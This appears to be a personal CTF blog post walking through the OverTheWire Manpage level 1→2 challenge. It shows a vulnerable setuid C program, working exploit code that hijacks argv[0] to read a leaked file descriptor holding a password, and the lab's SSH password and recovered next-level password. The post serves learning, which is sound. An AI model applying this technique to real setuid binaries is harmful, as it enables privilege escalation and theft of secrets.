Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Manpage Level 1 → 2 tutorial!!

Login

Use the manpage1 account from the previous level.

ssh manpage1@manpage.labs.overthewire.org -p 2224
# password: febiukovie

Goal

The binary checks the password against /etc/manpage_pass/manpage3. If the check fails, it drops privileges and restarts itself with execl(argv[0], ...). The bug: it never closes the opened file before restarting. Our goal is to exploit this and read the password from the still‑open file descriptor.

Given program

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define PWFILE "/etc/manpage_pass/manpage3"

int main(int argc, char *argv[])
{
    FILE *f;
    char *p;
    char pass[32];
    char buf[2];

    f = fopen(PWFILE, "r");
    fgets(pass, sizeof pass, f);
    pass[strlen(pass)-1] = '\0';

    p = getpass("password: ");

    if(!strcmp(p, pass)) {
        system("sh");
        exit(0);
    }

    setuid(getuid());

    if(!argv[1]) {
        argv[1] = buf;
        buf[0] = '\0';
    }

    if(argv[1][0]++ >= 2) exit(0);

    argv[1][1] = '\0';
    execl(argv[0], argv[0], argv[1], 0);
    return 0;
}

Approach

  1. Notice the file is never closed, so the file descriptor is inherited by the next process.
  2. The restart executes argv[0]. If we control argv[0], we can make it execute our helper binary.
  3. That helper binary can read fd 3 (stdin=0, stdout=1, stderr=2 → next fd is 3) to extract the password.

Helper: read password from fd 3

// pwn.c
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(){
    char pass[32];
    if(lseek(3, 0, SEEK_SET) == -1){ puts("lseek error"); return -1; }
    if(read(3, pass, sizeof(pass)) == -1){ puts("read error"); return -1; }
    pass[strlen(pass)-1] = '\0';
    printf("Got the password %s\n", pass);
}

Wrapper: run target with argv[0] = ./pwn

// wrap.c
#include <unistd.h>
#include <signal.h>
#include <string.h>

int main(){
    char* argv[] = {"./pwn", NULL};
    char* envp[] = { NULL };
    execve("/manpage/manpage2", argv, envp);
    return 0;
}

Exploit Steps

cc -o pwn pwn.c
cc -o wrap wrap.c

./wrap
# When prompted for "password:", type anything
# Program fails, restarts, executes ./pwn which inherits fd 3 and prints password

Output:

Got the password ailaifeipu

Now we can use this password to SSH into the next level.

Why this works

  • File descriptors remain open across exec unless explicitly closed.
  • The program calls execl(argv[0], ...). Since we force argv[0] = ./pwn, it runs our helper instead.
  • Our helper seeks and reads fd 3 to extract the secret.

Troubleshooting quick tips

  • Ensure ./pwn exists and is executable in the working directory.
  • Trigger the failure path by entering a wrong password once.
  • Use strace -f ./wrap to confirm fd 3 is inherited if nothing prints.

Congrats 🎉 You’re now through Level 1 → 2 — time to keep going for Level 2 → 3!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with